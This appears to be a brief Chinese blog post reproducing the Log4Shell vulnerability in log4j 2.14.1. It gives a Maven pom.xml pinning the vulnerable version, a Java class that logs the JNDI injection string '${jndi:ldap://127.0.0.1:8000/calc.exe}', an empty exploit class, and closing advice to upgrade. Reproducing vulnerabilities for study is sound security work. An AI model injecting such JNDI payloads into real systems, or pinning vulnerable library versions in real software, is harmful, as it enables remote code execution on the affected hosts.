Apachelog4j漏洞复现

前言：昨天晚上当我还在睡梦中时，圈内爆出了核弹级的漏洞，今天我复现一下，

再开始前我们先建立一个maven项目，将pom.xml文件导入

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

</project>



import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:8000/calc.exe}");
    }
}

public class Log4jRCE {


}

 

 建议：此漏洞针对的是pom.xml，log4j版本 2.0<= 2.14.1，尽快升级

　　https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2